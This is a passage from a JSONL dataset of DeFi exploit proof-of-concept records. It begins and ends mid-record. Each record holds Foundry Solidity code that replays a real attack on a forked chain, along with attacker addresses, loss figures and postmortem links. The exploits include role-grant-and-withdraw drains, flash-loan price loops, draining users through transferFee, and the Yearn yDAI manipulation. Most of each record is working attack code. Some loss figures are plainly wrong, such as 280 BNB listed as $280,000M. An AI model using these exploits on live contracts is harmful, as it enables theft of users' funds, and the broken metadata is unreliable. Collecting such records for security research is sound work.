"https://etherscan.io/address/0x48de6bf9e301946b0a32b053804c61dc5f00c0c3", "keyinfo_attack_contract": "https://etherscan.io/address/0xb7f221e373e3f44409f91c233477ec2859261758", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb", "keyinfo_attack_tx": "https://etherscan.io/tx/0x758efef41e60c0f218682e2fa027c54d8b67029d193dd7277d6a881a24b9a561", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.00M", "content_richness_score": 8.79, "quality_estimate": "high", "title": "VOW Exploit (2024-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 10k\n// Attacker : https://bscscan.com/address/0x847705eeb01b4f2ae9a92be12615c1052f52e7ad\n// Attack Contract : https://bscscan.com/address/0xa2d1e47e1a154dd51f2eae0413100c4f8abe13c7, https://bscscan.com/address/0xd0a60158b6a5ef01cee3ba9652df695671f366e3\n// Vulnerable Contract : https://bscscan.com/address/0x8de7eaba58efb23b6f323984377af582b23134e9\n// Attack Tx : https://bscscan.com/tx/0x56d3ed5f635b009e19d693e432479323b23b3eb368cf04e161adbc672a15898e\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1828983569278231038\n// Twitter Guy : https://x.com/TenArmorAlert/status/1828983569278231038\n// Hacking God : N/A\n\naddress constant addr1 = 0x603dd1d86b9bC3Ba7aB5c0267eaf7293Ca2abc52;\naddress constant header_addr = 0x667DFEd3C4D56DF32Ecc3F2E3CE5BcC4ef03A6Dc;\naddress constant vul_addr = 0x8DE7EAbA58EfB23B6F323984377af582B23134e9;\naddress constant attacker = 0x847705EEB01b4f2Ae9a92BE12615C1052F52e7Ad;\naddress constant dai = 0x1AF3F329e8BE154074D8769D1FFa4eE058B1DBc3;\n\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 41770501);\n }\n \n function testPoC() public {\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(dai).balanceOf(address(attacker)), 18);\n }\n}\n\n// 0xA2d1e47e1A154dD51f2eae0413100c4F8ABE13C7\ncontract AttackerC {\n constructor() {\n // vul_addr.grantRole(bytes32 role, address account)\n (bool s1,) = vul_addr.call(\n abi.encodeWithSelector(\n bytes4(keccak256(\"grantRole(bytes32,address)\")),\n bytes32(0),\n address(this)\n )\n );\n require(s1, \"grantRole failed\");\n\n // vul_addr.adminWithdraw(address handlerAddress, address tokenAddress, address recipient, uint256 amountOrTokenID)\n (bool s2,) = vul_addr.call(\n abi.encodeWithSelector(\n bytes4(keccak256(\"adminWithdraw(address,address,address,uint256)\")),\n header_addr,\n dai,\n attacker,\n uint256(10463638549999999999999)\n )\n );\n require(s2, \"adminWithdraw failed\");\n }\n}", "type": "exploit_poc", "protocol": "unverified_667d", "date": "2024-08", "file_name": "unverified_667d_exp.sol", "attack_vector": null, "content_hash": "2a76d48138185bfd", "collected_at": "2026-01-07T10:59:16.517970", "_source": "postmortems", "chain": "bsc", "block_number": 41770501, "total_lost_raw": "10k", "total_lost_usd": 10000.0, "attacker_address": "https://bscscan.com/address/0x847705eeb01b4f2ae9a92be12615c1052f52e7ad", "attack_contract": "https://bscscan.com/address/0xa2d1e47e1a154dd51f2eae0413100c4f8abe13c7,", "vulnerable_contract": "https://bscscan.com/address/0x8de7eaba58efb23b6f323984377af582b23134e9", "attack_tx": "https://bscscan.com/tx/0x56d3ed5f635b009e19d693e432479323b23b3eb368cf04e161adbc672a15898e", "postmortem_url": "https://x.com/TenArmorAlert/status/1828983569278231038", "twitter_url": "https://x.com/TenArmorAlert/status/1828983569278231038", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "10k", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(dai).balanceOf(address(attacker)), 18);\n }\n}\n\n// 0xA2d1e47e1A154dD51f2eae0413100c4F8ABE13C7\ncontract AttackerC {\n constructor() {\n // vul_addr.grantRole(bytes32 role, address account)\n (bool s1,) = vul_addr.call(\n abi.encodeWithSelector(\n bytes4(keccak256(\"grantRole(bytes32,address)\")),\n bytes32(0),\n address(this)\n )\n );\n require(s1, \"grantRole failed\");\n\n // vul_addr.adminWithdraw(address handlerAddress, address tokenAddress, address recipient, uint256 amountOrTokenID)\n (bool s2,) = vul_addr.call(\n abi.encodeWithSelector(\n bytes4(keccak256(\"adminWithdraw(address,address,address,uint256)\")),\n header_addr,\n dai,\n attacker,\n uint256(10463638549999999999999)\n )\n );\n require(s2, \"adminWithdraw failed\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "10k", "keyinfo_attacker": "https://bscscan.com/address/0x847705eeb01b4f2ae9a92be12615c1052f52e7ad", "keyinfo_attack_contract": "https://bscscan.com/address/0xa2d1e47e1a154dd51f2eae0413100c4f8abe13c7,", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x8de7eaba58efb23b6f323984377af582b23134e9", "keyinfo_attack_tx": "https://bscscan.com/tx/0x56d3ed5f635b009e19d693e432479323b23b3eb368cf04e161adbc672a15898e", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1828983569278231038", "analysis_twitter": "https://x.com/TenArmorAlert/status/1828983569278231038", "funds_lost_formatted": "$10.0K", "content_richness_score": 7.21, "quality_estimate": "medium", "title": "unverified_667d Exploit (2024-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 280BNB\n// Attacker : https://bscscan.com/address/0x0cc28b80d21ebe7b3f3320faa059f163e98a55a2\n// Attack Contract : https://bscscan.com/address/0xac4fde96cf96c5f776de7ec5528cde60f6e8dbea, https://bscscan.com/address/0xb4d13acf8c4ef796bdc761129c31bc67130301cf\n// Vulnerable Contract : \n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x7b743f0fa0ffc6542bc4132405f6c986a00187b6a8b23613ab98c8bcfe9fd875\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1826101724278579639\n// Twitter Guy : https://x.com/TenArmorAlert/status/1826101724278579639\n// Hacking God : N/A\n\naddress constant bsc_usd = 0x55d398326f99059fF775485246999027B3197955;\naddress constant attacker = 0x0cc28b80D21eBe7b3f3320FAA059f163E98A55a2;\naddress constant addr = 0x51057dB447A6834c8FC4E9541db9c04304eF81D7;\naddress constant cake_lp = 0xF31cb18759FE8356348c81268b859d2a32bf2117;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 41529776);\n }\n \n function testPoC() public {\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n\n vm.startPrank(addr);\n IERC20(bsc_usd).approve(address(attC), type(uint256).max);\n vm.stopPrank();\n\n vm.startPrank(attacker, attacker);\n attC.attack();\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(0xF563E86e461dE100CfCfD8b65dAA542d3d4B0550).balanceOf(address(attC)), 18);\n }\n}\n\ncontract AttackerC {\n fallback() external payable {}\n\n function attack() public {\n IERC20(bsc_usd).transferFrom(addr, cake_lp, 2212640000000000000000);\n IPancakePair(cake_lp).swap(\n 0,\n 3639118756532953773112984,\n address(this),\n \"\"\n );\n }\n}", "type": "exploit_poc", "protocol": "COCO", "date": "2024-08", "file_name": "COCO_exp.sol", "attack_vector": null, "content_hash": "1c4a87519fb28ebb", "collected_at": "2026-01-07T10:59:16.518015", "_source": "postmortems", "chain": "bsc", "block_number": 41529776, "total_lost_raw": "280BNB", "total_lost_usd": 280000000000.0, "attacker_address": "https://bscscan.com/address/0x0cc28b80d21ebe7b3f3320faa059f163e98a55a2", "attack_contract": "https://bscscan.com/address/0xac4fde96cf96c5f776de7ec5528cde60f6e8dbea,", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x7b743f0fa0ffc6542bc4132405f6c986a00187b6a8b23613ab98c8bcfe9fd875", "postmortem_url": "https://x.com/TenArmorAlert/status/1826101724278579639", "twitter_url": "https://x.com/TenArmorAlert/status/1826101724278579639", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "280BNB", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n\n vm.startPrank(addr);\n IERC20(bsc_usd).approve(address(attC), type(uint256).max);\n vm.stopPrank();\n\n vm.startPrank(attacker, attacker);\n attC.attack();\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(0xF563E86e461dE100CfCfD8b65dAA542d3d4B0550).balanceOf(address(attC)), 18);\n }\n}\n\ncontract AttackerC {\n fallback() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "280BNB", "keyinfo_attacker": "https://bscscan.com/address/0x0cc28b80d21ebe7b3f3320faa059f163e98a55a2", "keyinfo_attack_contract": "https://bscscan.com/address/0xac4fde96cf96c5f776de7ec5528cde60f6e8dbea,", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x7b743f0fa0ffc6542bc4132405f6c986a00187b6a8b23613ab98c8bcfe9fd875", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1826101724278579639", "analysis_twitter": "https://x.com/TenArmorAlert/status/1826101724278579639", "funds_lost_formatted": "$280000.00M", "content_richness_score": 5.98, "quality_estimate": "medium", "title": "COCO Exploit (2024-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~200k USD\n// TX : https://etherscan.io/tx/0x636be30e58acce0629b2bf975b5c3133840cd7d41ffc3b903720c528f01c65d9\n// Original Attacker: https://etherscan.io/address/0x03560a9d7a2c391fb1a087c33650037ae30de3aa\n// Original Attack Contract : https://etherscan.io/address/0xee45384d4861b6fb422dfa03fbdcc6e29d7beb69\n// GUY : https://x.com/DecurityHQ/status/1819030089012527510\n\ninterface ICommonStruct {\n struct TokenAmount {\n IERC20 token;\n uint256 amount;\n }\n}\n\ninterface ICvxStakingPositionService {\n function claimCvgCvxMultiple(\n address account\n ) external returns (uint256, ICommonStruct.TokenAmount[] memory);\n}\n\ninterface ICvxRewardDistributor {\n function claimMultipleStaking(\n ICvxStakingPositionService[] calldata claimContracts,\n address _account,\n uint256 _minCvgCvxAmountOut,\n bool _isConvert,\n uint256 cvxRewardCount\n ) external;\n}\n\ninterface ICurveTwocryptoOptimized {\n function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256);\n}\n\ncontract ContractTest is Test {\n ICvxRewardDistributor cvxRewardDistributor = ICvxRewardDistributor(0x2b083beaaC310CC5E190B1d2507038CcB03E7606);\n IERC20 CVG = IERC20(0x97efFB790f2fbB701D88f89DB4521348A2B77be8);\n ICurveTwocryptoOptimized CVGETH = ICurveTwocryptoOptimized(0x004C167d27ADa24305b76D80762997Fa6EB8d9B2);\n ICurveTwocryptoOptimized CVGFRAX = ICurveTwocryptoOptimized(0xa7B0E924c2dBB9B4F576CCE96ac80657E42c3e42);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_434_450 - 1);\n }\n\n function testExploit() external {\n Mock mock = new Mock();\n\n ICvxStakingPositionService[] memory claimContracts = new ICvxStakingPositionService[](1);\n claimContracts[0] = ICvxStakingPositionService(address(mock));\n\n CVG.totalSupply();\n\n cvxRewardDistributor.claimMultipleStaking(claimContracts, address(this), 1, true, 1);\n\n uint256 cvg_bal = CVG.balanceOf(address(this));\n\n emit log_named_decimal_uint(\"[End] Attacker CVG balance after exploit\", cvg_bal, 18);\n }\n\n receive() external payable {}\n}\n\ncontract Mock {\n IERC20 CVG = IERC20(0x97efFB790f2fbB701D88f89DB4521348A2B77be8);\n\n function claimCvgCvxMultiple(\n address account\n ) external returns (uint256, ICommonStruct.TokenAmount[] memory) {\n ICommonStruct.TokenAmount[] memory tokenAmount = new ICommonStruct.TokenAmount[](0);\n\n return (type(uint256).max - CVG.totalSupply(), tokenAmount);\n }\n}\n", "type": "exploit_poc", "protocol": "Convergence", "date": "2024-08", "file_name": "Convergence_exp.sol", "attack_vector": null, "content_hash": "84f9e38f155f6823", "collected_at": "2026-01-07T10:59:16.518059", "_source": "postmortems", "chain": "ethereum", "block_number": 20434450, "total_lost_raw": "~200k USD", "total_lost_usd": 200000.0, "attacker_address": "https://etherscan.io/address/0x03560a9d7a2c391fb1a087c33650037ae30de3aa", "attack_contract": "https://etherscan.io/address/0xee45384d4861b6fb422dfa03fbdcc6e29d7beb69", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "high", "severity_raw": "~200k USD", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x03560a9d7a2c391fb1a087c33650037ae30de3aa", "keyinfo_attack_contract": "https://etherscan.io/address/0xee45384d4861b6fb422dfa03fbdcc6e29d7beb69", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$200.0K", "content_richness_score": 3.35, "quality_estimate": "low", "title": "Convergence Exploit (2024-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 4.37 ETH (~11527 USD)\n// Attacker : https://etherscan.io/address/0x40d115198d71cab59668b51dd112a07d273d5831\n// Attack Contract : https://etherscan.io/address/0xfaddf57d079b01e53d1fe3476cc83e9bcc705854\n// Vulnerable Contract : https://etherscan.io/address/0x09a80172ed7335660327cd664876b5df6fe06108\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd927843e30c6b2bf43103d83bca6abead648eac3cad0d05b1b0eb84cd87de9b6?line=0\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x09a80172ed7335660327cd664876b5df6fe06108#code\n\n// @Analysis\n \n\n// Contracts involved\naddress constant OMPxContract = 0x09A80172ED7335660327cD664876b5df6FE06108;\naddress constant OMPX = 0x633B041C41f61D04089880D7B5C7ED0F10fF6f85;\naddress constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant BalancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\n\ncontract OMPxContract_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_468_780 - 1);\n }\n\n function testExploit() public {\n vm.startPrank(attacker);\n\n emit log_named_decimal_uint(\"[Start] Attacker ETH balance before exploit\", attacker.balance, 18);\n\n AttackerC attackerC = new AttackerC();\n attackerC.attack();\n\n emit log_named_decimal_uint(\"[End] Attacker ETH balance after exploit\", attacker.balance, 18);\n\n vm.stopPrank();\n }\n}\n\ncontract AttackerC {\n IBalancerVault Balancer = IBalancerVault(BalancerVault);\n\n function attack() public {\n address[] memory tokens = new address[](1);\n tokens[0] = weth;\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 100 ether;\n Balancer.flashLoan(\n address(this),\n tokens,\n amounts,\n // ???\n \"0x00000000000000000000000009a80172ed7335660327cd664876b5df6fe06108000000000000000000000000633b041c41f61d04089880d7b5c7ed0f10ff6f850000000000000000000000000000000000000000000000056bc75e2d63100000\"\n );\n\n selfdestruct(payable(msg.sender));\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n address w = tokens[0]; // WETH\n\n IWETH(payable(w)).withdraw(amounts[0]);\n\n for (int256 i = 0; i < 7; i++) {\n // console.log(\"balanceOf OMPX: \", IERC20(OMPX).balanceOf(OMPxContract));\n IOMPxContract(OMPxContract).purchase{value: 100 ether}(\n IERC20(OMPX).balanceOf(OMPxContract), 10_000_000_000_000\n );\n\n // console.log(\"balanceOf OMPX: \", IERC20(OMPX).balanceOf(address(this)));\n IOMPxContract(OMPxContract).buyBack(IERC20(OMPX).balanceOf(address(this)), 1);\n }\n\n // console.log(\"balance \", address(this).balance);\n IWETH(payable(w)).deposit{value: address(this).balance}();\n\n // Return loan\n // console.log(\"balanceOf WETH: \", IERC20(weth).balanceOf(address(this)));\n IWETH(payable(w)).transfer(BalancerVault, amounts[0] + feeAmounts[0]);\n // console.log(\"balanceOf WETH: \", IERC20(weth).balanceOf(address(this)));\n\n IWETH(payable(w)).withdraw(IERC20(weth).balanceOf(address(this)));\n }\n\n fallback() external payable {}\n}\n\ninterface IOMPxContract {\n // Purchase tokens to user.\n // Money back should happens if current price is lower, then expected\n function purchase(uint256 tokensToPurchase, uint256 maxPrice) external payable returns (uint256 tokensBought_);\n\n // buyback tokens from user\n function buyBack(uint256 tokensToBuyBack, uint256 minPrice) external;\n}\n", "type": "exploit_poc", "protocol": "OMPxContract", "date": "2024-08", "file_name": "OMPxContract_exp.sol", "attack_vector": "flash_loan", "content_hash": "176abc3185d95a11", "collected_at": "2026-01-07T10:59:16.518102", "_source": "postmortems", "chain": "ethereum", "block_number": 20468780, "total_lost_raw": "4.37 ETH (~11527 USD)", "total_lost_usd": 4.37, "attacker_address": "https://etherscan.io/address/0x40d115198d71cab59668b51dd112a07d273d5831", "attack_contract": "https://etherscan.io/address/0xfaddf57d079b01e53d1fe3476cc83e9bcc705854", "vulnerable_contract": "https://etherscan.io/address/0x09a80172ed7335660327cd664876b5df6fe06108", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xd927843e30c6b2bf43103d83bca6abead648eac3cad0d05b1b0eb84cd87de9b6?line=0", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "4.37 ETH (~11527 USD)", "category": "flash-loan", "exploit_code": "function testExploit() public {\n vm.startPrank(attacker);\n\n emit log_named_decimal_uint(\"[Start] Attacker ETH balance before exploit\", attacker.balance, 18);\n\n AttackerC attackerC = new AttackerC();\n attackerC.attack();\n\n emit log_named_decimal_uint(\"[End] Attacker ETH balance after exploit\", attacker.balance, 18);\n\n vm.stopPrank();\n }\n}\n\ncontract AttackerC {\n IBalancerVault Balancer = IBalancerVault(BalancerVault);", "has_exploit_code": true, "keyinfo_total_lost": "4.37 ETH (~11527 USD)", "keyinfo_attacker": "https://etherscan.io/address/0x40d115198d71cab59668b51dd112a07d273d5831", "keyinfo_attack_contract": "https://etherscan.io/address/0xfaddf57d079b01e53d1fe3476cc83e9bcc705854", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x09a80172ed7335660327cd664876b5df6fe06108", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xd927843e30c6b2bf43103d83bca6abead648eac3cad0d05b1b0eb84cd87de9b6?line=0", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$4", "content_richness_score": 8.93, "quality_estimate": "high", "title": "OMPxContract Exploit (2024-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~5k\n// Attacker : https://etherscan.io/address/0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf\n// Attack Contract : https://etherscan.io/address/0x802cfff8d7cb27879e00496843bb69361ff09ab3\n// Vulnerable Contract : https://etherscan.io/address/0xe3a0bc3483ae5a04db7ef2954315133a6f7d228e\n// Attack Tx : https://etherscan.io/tx/0x54f659773dae6e01f83184d4b6d717c7f1bb71c0aa59e8c8f4a57c25271424b3\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xe3a0bc3483ae5a04db7ef2954315133a6f7d228e#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ninterface IR {\n function transferFee(uint256 amount, uint256 feeBps, address token, address from, address to) external;\n}\n\ncontract NoName is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 20_520_368;\n address internal YodlRouter = 0xE3A0bc3483AE5a04DB7eF2954315133a6F7D228E;\n address internal USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(USDC);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n uint256 amount;\n uint256 feeBps = 10_000;\n address token = USDC;\n address from;\n address to = address(this);\n\n // Victim 0\n from = 0x5322BFF39339eDa261Bf878Fa7d92791Cc969Bb0;\n amount = 45_588_747_326;\n IR(YodlRouter).transferFee(amount, feeBps, token, from, to);\n\n // Victim 1\n from = 0xa7b7d4ebF1F5035F3b289139baDa62f981f2916E;\n amount = 1_219_608_225;\n IR(YodlRouter).transferFee(amount, feeBps, token, from, to);\n\n // Victim 2\n from = 0x2c349022df145C1a2eD895B5577905e6F1Bc7881;\n amount = 1_000_000_000;\n IR(YodlRouter).transferFee(amount, feeBps, token, from, to);\n\n // Victim 3\n from = 0x96D0F726FD900E199680277aAaD326fbdebc6BF9;\n amount = 1_000_000;\n IR(YodlRouter).transferFee(amount, feeBps, token, from, to);\n }\n}\n", "type": "exploit_poc", "protocol": "YodlRouter", "date": "2024-08", "file_name": "YodlRouter_exp.sol", "attack_vector": null, "content_hash": "d0b1c0c8cce0b62d", "collected_at": "2026-01-07T10:59:16.518155", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~5k", "total_lost_usd": 5000.0, "attacker_address": "https://etherscan.io/address/0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf", "attack_contract": "https://etherscan.io/address/0x802cfff8d7cb27879e00496843bb69361ff09ab3", "vulnerable_contract": "https://etherscan.io/address/0xe3a0bc3483ae5a04db7ef2954315133a6f7d228e", "attack_tx": "https://etherscan.io/tx/0x54f659773dae6e01f83184d4b6d717c7f1bb71c0aa59e8c8f4a57c25271424b3", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~5k", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n uint256 amount;\n uint256 feeBps = 10_000;\n address token = USDC;\n address from;\n address to = address(this);\n\n // Victim 0\n from = 0x5322BFF39339eDa261Bf878Fa7d92791Cc969Bb0;\n amount = 45_588_747_326;\n IR(YodlRouter).transferFee(amount, feeBps, token, from, to);\n\n // Victim 1\n from = 0xa7b7d4ebF1F5035F3b289139baDa62f981f2916E;\n amount = 1_219_608_225;\n IR(YodlRouter).transferFee(amount, feeBps, token, from, to);\n\n // Victim 2\n from = 0x2c349022df145C1a2eD895B5577905e6F1Bc7881;\n amount = 1_000_000_000;\n IR(YodlRouter).transferFee(amount, feeBps, token, from, to);\n\n // Victim 3\n from = 0x96D0F726FD900E199680277aAaD326fbdebc6BF9;\n amount = 1_000_000;\n IR(YodlRouter).transferFee(amount, feeBps, token, from, to);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~5k", "keyinfo_attacker": "https://etherscan.io/address/0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf", "keyinfo_attack_contract": "https://etherscan.io/address/0x802cfff8d7cb27879e00496843bb69361ff09ab3", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xe3a0bc3483ae5a04db7ef2954315133a6f7d228e", "keyinfo_attack_tx": "https://etherscan.io/tx/0x54f659773dae6e01f83184d4b6d717c7f1bb71c0aa59e8c8f4a57c25271424b3", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$5.0K", "content_richness_score": 7.17, "quality_estimate": "medium", "title": "YodlRouter Exploit (2024-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n//Converted to foundry test from this file https://gist.github.com/xu3kev/cb1992269c429647d24b6759aff6261c\n\n// @KeyInfo - Total Lost : ~11M US$\n// Attacker : 0x14EC0cD2aCee4Ce37260b925F74648127a889a28\n// Attack Contract : 0x62494b3ed9663334E57f23532155eA0575C487C5\n// Vulnerable Contract : 0xACd43E627e64355f1861cEC6d3a6688B31a6F952\n// Attack Tx : https://etherscan.io/tx/0x59faab5a1911618064f1ffa1e4649d85c99cfd9f0d64dcebbc1af7d7630da98b\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xACd43E627e64355f1861cEC6d3a6688B31a6F952#code\n\n// @Analysis\n// Post-mortem : https://github.com/yearn/yearn-security/blob/master/disclosures/2021-02-04.md\n\ninterface ICurve {\n function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external;\n function remove_liquidity_imbalance(uint256[3] memory amounts, uint256 max_burn_amount) external;\n function remove_liquidity(\n uint256 token_amount,\n uint256[3] memory min_amounts\n ) external returns (uint256[3] memory);\n function get_virtual_price() external view returns (uint256 out);\n}\n\ninterface IYVDai {\n function balanceOf(\n address\n ) external view returns (uint256);\n function deposit(\n uint256 _amount\n ) external;\n function earn() external;\n function withdrawAll() external;\n}\n\ncontract Exploit is Test {\n using stdStorage for StdStorage;\n\n IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 crv3 = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);\n IYVDai yvdai = IYVDai(0xACd43E627e64355f1861cEC6d3a6688B31a6F952);\n ICurve curve = ICurve(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);\n\n // Declare your exploit parameters here\n uint256 constant max_3crv_amount = 300_000_000_000_000_000_000_000_000;\n uint256 constant remove_usdt_amt = 167_473_454_967_245;\n uint256 constant remove_usdt_amt_final_round = 167_288_317_922_857;\n uint256[] earn_amt = [\n 105_469_871_996_916_702_826_725_376,\n 104_706_920_396_703_142_299_856_646,\n 103_948_014_417_774_019_565_578_888,\n 103_192_919_800_803_744_390_557_088,\n 102_441_640_504_232_413_679_923_590\n ];\n uint256 constant init_add_dai_amt = 37_972_761_178_915_525_047_091_200;\n uint256 constant init_add_usdc_amt = 133_000_000_000_000;\n\n function writeTokenBalance(address who, address token, uint256 amt) internal {\n stdstore.target(token).sig(IERC20(token).balanceOf.selector).with_key(who).checked_write(amt);\n }\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 11_792_183);\n uint256 max_earn_amt = 0;\n for (uint256 i = 0; i < earn_amt.length; i++) {\n if (earn_amt[i] > max_earn_amt) {\n max_earn_amt = earn_amt[i];\n }\n }\n require(max_earn_amt > 0, \"0 is max amt?\");\n\n //Initialize initial token balances\n writeTokenBalance(address(this), address(dai), init_add_dai_amt + max_earn_amt);\n writeTokenBalance(address(this), address(usdc), init_add_usdc_amt);\n\n //Approvals\n dai.approve(address(yvdai), type(uint256).max);\n TransferHelper.safeApprove(address(usdt), address(curve), type(uint256).max);\n dai.approve(address(curve), type(uint256).max);\n usdc.approve(address(curve), type(uint256).max);\n }\n\n function testAttack() public {\n // Construct the exploit logic here\n uint256 hacker_dai_amt_before = dai.balanceOf(address(this));\n uint256 hacker_usdc_amt_before = usdc.balanceOf(address(this));\n\n require(usdt.balanceOf(address(this)) == 0, \"has usdt\");\n require(crv3.balanceOf(address(this)) == 0, \"has c3rv\");\n require(yvdai.balanceOf(address(this)) == 0, \"has ydai\");\n\n // First make the pool imbalanced\n curve.add_liquidity([init_add_dai_amt, init_add_usdc_amt, 0], 0);\n\n // Exploit loop\n for (uint256 i = 0; i < 5; i++) {\n curve.remove_liquidity_imbalance([0, 0, remove_usdt_amt], max_3crv_amount);\n\n yvdai.deposit(earn_amt[i]);\n yvdai.earn();\n\n if (i != 4) {\n curve.add_liquidity([0, 0, remove_usdt_amt], 0);\n } else {\n curve.add_liquidity([0, 0, remove_usdt_amt_final_round], 0);\n }\n\n yvdai.withdrawAll();\n }\n\n // Convert some 3crv\n uint256 dai_difference = hacker_dai_amt_before - dai.balanceOf(address(this));\n curve.remove_liquidity_imbalance([dai_difference + 1, init_add_usdc_amt + 1, 0], max_3crv_amount);\n require(dai.balanceOf(address(this)) == hacker_dai_amt_before + 1, \"incorrect dai bal after attack\");\n 